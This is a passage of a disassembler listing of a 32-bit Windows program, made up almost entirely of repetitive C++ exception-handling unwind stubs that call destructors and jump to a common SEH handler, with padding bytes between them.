; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 0E9C84D8Dh, 75C5574Dh
		db 8Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C556CDh
; ---------------------------------------------------------------------------
		push	ebx


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
